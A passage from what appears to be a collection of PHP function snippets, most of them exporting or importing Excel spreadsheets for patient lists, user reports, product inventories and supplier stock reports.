\t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:K' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar Pasien Aplikasi SN Health Center.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/patient');\n \t\t}", "function export_xls() {\n $engagementconfs = Configure::read('engagementConf');\n $this->set('engagementconfs',$engagementconfs);\n $data = $this->Session->read('xls_export');\n //$this->Session->delete('xls_export'); \n $this->set('rows',$data);\n $this->render('export_xls','export_xls');\n }", "function export_data() {\n\t\t$sync_tables = $this->config->item('sync_tables');\n\n\t\t$this->db_tools->export_data( $sync_tables );\n\t\t$this->db_tools->echo_export_data();\n\t}", "public function createExcelReport(\\PhpOffice\\PhpSpreadsheet\\Spreadsheet $spreadSheet){\n\t\t$wsResumen = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Resumen');\n\t\t$wsDatos = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Datos');\n\t\t//2. Escribe los datos sobre las hojas de cáculo\n\t\t//2.1. Escribe lo datos de la primera hoja\n\t\t//2.1.1. Inconsistencias por tipo\n\t\t$wsResumen->setCellValue(\"A3\",\"Inconsistencias por tipo\");\n\t\t$wsResumen->setCellValue(\"A4\",\"Desfase horario\");\n\t\t$wsResumen->setCellValue(\"A5\",\"Programación no coincide\");\n\t\t$wsResumen->setCellValue(\"A6\",\"Otros\");\n\t\t$wsResumen->setCellValue(\"A7\",\"Total\");\n\t\t//2.1.2. Inconsistencias por motivo\n\t\t$wsResumen->setCellValue(\"A9\",\"Inconsistencias por motivo\");\n\t\t$wsResumen->setCellValue(\"A10\",\"Origen\");\n\t\t$wsResumen->setCellValue(\"A11\",\"Error humano\");\n\t\t$wsResumen->setCellValue(\"A12\",\"Evento en vivo\");\n\t\t$wsResumen->setCellValue(\"A13\",\"Total\");\n\t\t//2.1.3. Inconsistencias por programadora\n\t\t$wsResumen->setCellValue(\"A15\",\"Inconsistencias por casa programadora\");\n\n\t\t//2.2. Escribe lo datos de la segunda hoja\n\t\t$wsDatos->setCellValue(\"A1\",\"Fecha-Hora Reporte\");\n\t\t$wsDatos->setCellValue(\"B1\",\"Fecha-Hora Evento\");\n\t\t$wsDatos->setCellValue(\"C1\",\"ID Evento\");\n\t\t$wsDatos->setCellValue(\"D1\",\"Título Evento\");\n\t\t$wsDatos->setCellValue(\"E1\",\"ID Canal\");\n\t\t$wsDatos->setCellValue(\"F1\",\"Nombre Canal\");\n\t\t$wsDatos->setCellValue(\"G1\",\"Casa Programadora\");\n\t\t$wsDatos->setCellValue(\"H1\",\"Tipo Error\");\n\t\t$wsDatos->setCellValue(\"I1\",\"Motivo Error\");\n\t\t$wsDatos->setCellValue(\"J1\",\"Desafase\");\n\t\t$wsDatos->setCellValue(\"K1\",\"Transmitiendo\");\n\t\t$wsDatos->setCellValue(\"L1\",\"Usuario\");\n\n\t\t$totals = $this->calculateTotals();\n\t\t$wsResumen = $this->setResumenPage($wsResumen,$totals);\n\t\t$wsDatos = $this->setDataPage($wsDatos);\t\t\n\t\t//Vincula las hojas al documento\n\t\t$spreadSheet->addSheet($wsResumen, 0);\n\t\t$spreadSheet->addSheet($wsDatos, 1);\n\t\treturn $spreadSheet;\n\n\n\t}", "public function scheme_download(){\n $this->load->library('PHPExcel');\n $this->load->library('PHPExcel/IOFactory');\n\n $objPHPExcel = new PHPExcel();\n \n $objPHPExcel->createSheet();\n \n $objPHPExcel->getProperties()->setTitle(\"export\")->setDescription(\"none\");\n\n $objPHPExcel->setActiveSheetIndex(0);\n\n // Field names in the first row\n $fields = array(\n 'Scheme Name',\n 'Start Date',\n 'End Date',\n 'Product'\n );\n \n $col = 0;\n foreach ($fields as $field)\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, 1, $field);\n $col++;\n }\n \n // Fetching the table data\n $this->load->model('scheme/schememodel');\n $results = $this->model_scheme_schememodel->getschemedata($this->request->get);\n \n $row = 2;\n \n foreach($results as $data)\n {\n $col = 0;\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, $data['Scheme_Name']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, $data['START_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, $data['END_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, $data['product_name']);\n $objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('B')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('C')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setAutoSize(true);\n \n \n \n \n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setItalic(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setBold(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setSize(12);\n $objPHPExcel->getActiveSheet()->getDefaultRowDimension('A1:L1')->setRowHeight(20);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->getColor()->setRGB('FF0000');\n $row++;\n }\n\n \n\n \n$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n // Sending headers to force the user to download the file\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"Attendance_report_'.date('dMy').'.xls\"');\n header('Cache-Control: max-age=0');\n\n $objWriter->save('php://output');\n \n }", "function cbDisplaySummary($number) {\n global $EDIT_SUMMARY_URL;\n\n cbTrace(\"DISPLAYING \" . $number);\n $heftRow = cbFindHeftRow($number) or cbTrace(mysql_error());\n $numRows = mysql_numrows($heftRow);\n\n $title = mysql_result($heftRow, 0, \"title\");\n $author = mysql_result($heftRow, 0, \"author\");\n $summaryRow = cbFindSummaryRow($number);\n $summaryCount = mysql_numrows($summaryRow);\n\n $url = sprintf(\"http://perry-kotlin.app.heroku/api/covers/%d\", $number);\n\n $date = null;\n if ($summaryCount > 0) {\n $summary = mysql_result($summaryRow, 0, \"summary\");\n $englishTitle = mysql_result($summaryRow, 0, \"english_title\");\n $date = mysql_result($summaryRow, 0, \"date\");\n $authorName = mysql_result($summaryRow, 0, \"author_name\");\n if ($date == null) $date = '';\n }\n\n cbGenHtml($number, $title, $englishTitle, $author, $summary,\n $summaryCount, $url, $authorName, $date);\n}", "function populateInstrumentsWorksheet( &$worksheet, &$languages, $default_language_id, &$price_format, &$box_format, &$weight_format, &$text_format, $offset=null, $rows=null, &$min_id=null, &$max_id=null) {\n\t\t$query = $this->db->query( \"DESCRIBE `\".DB_PREFIX.\"instrument`\" );\n\t\t$instrument_fields = array();\n\t\tforeach ($query->rows as $row) {\n\t\t\t$instrument_fields[] = $row['Field'];\n\t\t}\n\n\t\t// Opencart versions from 2.0 onwards also have instrument_description.meta_title\n\t\t$sql = \"SHOW COLUMNS FROM `\".DB_PREFIX.\"instrument_description` LIKE 'meta_title'\";\n\t\t$query = $this->db->query( $sql );\n\t\t$exist_meta_title = ($query->num_rows > 0) ? true : false;\n\n\t\t// Set the column widths\n\t\t$j = 0;\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('instrument_id'),4)+1);\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('categories'),12)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sku'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('upc'),12)+1);\n\t\tif (in_array('ean',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('ean'),14)+1);\n\t\t}\n\t\tif (in_array('jan',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('jan'),13)+1);\n\t\t}\n\t\tif (in_array('isbn',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('isbn'),13)+1);\n\t\t}\n\t\tif (in_array('mpn',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('mpn'),15)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('location'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('quantity'),4)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('model'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('manufacturer'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('image_name'),12)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('shipping'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('points'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_added'),19)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_modified'),19)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_available'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight'),6)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight_unit'),3)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('length'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('width'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('height'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('length_unit'),3)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('status'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('tax_class_id'),2)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('seo_keyword'),16)+1);\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('description')+4,32)+1);\n\t\t}\n\t\tif ($exist_meta_title) {\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_title')+4,20)+1);\n\t\t\t}\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_description')+4,32)+1);\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_keywords')+4,32)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('stock_status_id'),3)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('store_ids'),16)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('layout'),16)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('related_ids'),16)+1);\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('tags')+4,32)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('subtract'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('minimum'),8)+1);\n\n\t\t// The instrument headings row and column styles\n\t\t$styles = array();\n\t\t$data = array();\n\t\t$i = 1;\n\t\t$j = 0;\n\t\t$data[$j++] = 'instrument_id';\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'name('.$language['code'].')';\n\t\t}\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'categories';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'sku';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'upc';\n\t\tif (in_array('ean',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'ean';\n\t\t}\n\t\tif (in_array('jan',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'jan';\n\t\t}\n\t\tif (in_array('isbn',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'isbn';\n\t\t}\n\t\tif (in_array('mpn',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'mpn';\n\t\t}\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'location';\n\t\t$data[$j++] = 'quantity';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'model';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'manufacturer';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'image_name';\n\t\t$data[$j++] = 'shipping';\n\t\t$styles[$j] = &$price_format;\n\t\t$data[$j++] = 'price';\n\t\t$data[$j++] = 'points';\n\t\t$data[$j++] = 'date_added';\n\t\t$data[$j++] = 'date_modified';\n\t\t$data[$j++] = 'date_available';\n\t\t$styles[$j] = &$weight_format;\n\t\t$data[$j++] = 'weight';\n\t\t$data[$j++] = 'weight_unit';\n\t\t$data[$j++] = 'length';\n\t\t$data[$j++] = 'width';\n\t\t$data[$j++] = 'height';\n\t\t$data[$j++] = 'length_unit';\n\t\t$data[$j++] = 'status';\n\t\t$data[$j++] = 'tax_class_id';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'seo_keyword';\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'description('.$language['code'].')';\n\t\t}\n\t\tif ($exist_meta_title) {\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$styles[$j] = &$text_format;\n\t\t\t\t$data[$j++] = 'meta_title('.$language['code'].')';\n\t\t\t}\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'meta_description('.$language['code'].')';\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'meta_keywords('.$language['code'].')';\n\t\t}\n\t\t$data[$j++] = 'stock_status_id';\n\t\t$data[$j++] = 'store_ids';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'layout';\n\t\t$data[$j++] = 'related_ids';\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'tags('.$language['code'].')';\n\t\t}\n\t\t$data[$j++] = 'sort_order';\n\t\t$data[$j++] = 'subtract';\n\t\t$data[$j++] = 'minimum';\n\t\t$worksheet->getRowDimension($i)->setRowHeight(30);\n\t\t$this->setCellRow( $worksheet, $i, $data, $box_format );\n\n\t\t// The actual instruments data\n\t\t$i += 1;\n\t\t$j = 0;\n\t\t$store_ids = $this->getStoreIdsForInstruments();\n\t\t$layouts = $this->getLayoutsForInstruments();\n\t\t$instruments = $this->getInstruments( $languages, $default_language_id, $instrument_fields, $exist_meta_title, $offset, $rows, $min_id, $max_id );\n\t\t$len = count($instruments);\n\t\t$min_id = $instruments[0]['instrument_id'];\n\t\t$max_id = $instruments[$len-1]['instrument_id'];\n\t\tforeach ($instruments as $row) {\n\t\t\t$data = array();\n\t\t\t$worksheet->getRowDimension($i)->setRowHeight(26);\n\t\t\t$instrument_id = $row['instrument_id'];\n\t\t\t$data[$j++] = $instrument_id;\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\t$data[$j++] = $row['categories'];\n\t\t\t$data[$j++] = $row['sku'];\n\t\t\t$data[$j++] = $row['upc'];\n\t\t\tif (in_array('ean',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['ean'];\n\t\t\t}\n\t\t\tif (in_array('jan',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['jan'];\n\t\t\t}\n\t\t\tif (in_array('isbn',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['isbn'];\n\t\t\t}\n\t\t\tif (in_array('mpn',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['mpn'];\n\t\t\t}\n\t\t\t$data[$j++] = $row['location'];\n\t\t\t$data[$j++] = $row['quantity'];\n\t\t\t$data[$j++] = $row['model'];\n\t\t\t$data[$j++] = $row['manufacturer'];\n\t\t\t$data[$j++] = $row['image_name'];\n\t\t\t$data[$j++] = ($row['shipping']==0) ? 'no' : 'yes';\n\t\t\t$data[$j++] = $row['price'];\n\t\t\t$data[$j++] = $row['points'];\n\t\t\t$data[$j++] = $row['date_added'];\n\t\t\t$data[$j++] = $row['date_modified'];\n\t\t\t$data[$j++] = $row['date_available'];\n\t\t\t$data[$j++] = $row['weight'];\n\t\t\t$data[$j++] = $row['weight_unit'];\n\t\t\t$data[$j++] = $row['length'];\n\t\t\t$data[$j++] = $row['width'];\n\t\t\t$data[$j++] = $row['height'];\n\t\t\t$data[$j++] = $row['length_unit'];\n\t\t\t$data[$j++] = ($row['status']==0) ? 'false' : 'true';\n\t\t\t$data[$j++] = $row['tax_class_id'];\n\t\t\t$data[$j++] = ($row['keyword']) ? $row['keyword'] : '';\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['description'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\tif ($exist_meta_title) {\n\t\t\t\tforeach ($languages as $language) {\n\t\t\t\t\t$data[$j++] = html_entity_decode($row['meta_title'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t\t}\n\t\t\t}\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['meta_description'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['meta_keyword'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\t$data[$j++] = $row['stock_status_id'];\n\t\t\t$store_id_list = '';\n\t\t\tif (isset($store_ids[$instrument_id])) {\n\t\t\t\tforeach ($store_ids[$instrument_id] as $store_id) {\n\t\t\t\t\t$store_id_list .= ($store_id_list=='') ? $store_id : ','.$store_id;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$data[$j++] = $store_id_list;\n\t\t\t$layout_list = '';\n\t\t\tif (isset($layouts[$instrument_id])) {\n\t\t\t\tforeach ($layouts[$instrument_id] as $store_id => $name) {\n\t\t\t\t\t$layout_list .= ($layout_list=='') ? $store_id.':'.$name : ','.$store_id.':'.$name;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$data[$j++] = $layout_list;\n\t\t\t$data[$j++] = $row['related'];\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['tag'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\t$data[$j++] = $row['sort_order'];\n\t\t\t$data[$j++] = ($row['subtract']==0) ? 'false' : 'true';\n\t\t\t$data[$j++] = $row['minimum'];\n\t\t\t$this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );\n\t\t\t$i += 1;\n\t\t\t$j = 0;\n\t\t}\n\t}", "public function report_data_user($kode_role)\n{\nif($kode_role != 'ALL'){\n$user = $this->Muser->report_data_userbyrole($kode_role);\n}else{\n$user = $this->Muser->report_data_user();\n}\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','H') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIDN')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'EMAIL')\n->setCellValue('E1', 'PRODI')\n->setCellValue('F1', 'NO TELEPON')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'HAK AKSES')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nidn)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->email)\n->setCellValue('E'.$i, $data->prodi)\n->setCellValue('F'.$i, $data->no_telp)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->role)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data User '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data User.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public function setColumnsHeadData()\n\t{\n\t\tFileStorage::getInstance()->store([], 'league_table_columns_head');\n\t}", "public function summary();", "public function gen_excel() {\n $this->load->library('excel');\n //activate worksheet number 1\n $this->excel->setActiveSheetIndex(0);\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Customer list');\n\n // load database\n $this->load->database();\n\n // load model\n // get all users in array formate\n $this->load->model('Welcome_model');\n\n \n// $data['res'] = $this->customer_model->load_product_data($product, $type);\n \n $table_data = $this->Welcome_model->select_Insert_data();\n \n// echo '<pre>';\n// print_r($res);\n// exit();\n \n// $this->customer_model->create_openJobOrder_excel($data);\n $this->Welcome_model->creat_Excel($table_data);\n }", "private function ReadReport($newname,$principal,$periode){\n $tmpfname = \"file-ori/\".$newname;\n $excelReader = \\PHPExcel_IOFactory::createReaderForFile($tmpfname);\n $excelObj = $excelReader->load($tmpfname);\n $worksheet = $excelObj->getSheet(0);\n $lastRow = $worksheet->getHighestRow();\n \n //proses extraksi file excel\n switch ($principal) {\n case \"BEST\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('G'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('L'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n }\n\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('H'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('L'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n }\n break;\n\n case \"PII\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('G'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('L'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n }\n\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('H'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('L'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n }\n\n break;\n\n case \"ALIDA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('E'.$row)->getValue())+intval($worksheet->getCell('O'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"KP\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('C'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('E'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"MHF BOGOR\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('C'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('D'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"MHF PUSAT\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('C'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('W'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"DASA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('D'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"IN\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('J'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - ALIDA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('D'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('E'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - KP\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('L'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('M'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - MAP\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('D'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('F'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - MHF BOGOR\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('H'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('K'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - MHF PUSAT\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('G'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('J'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n 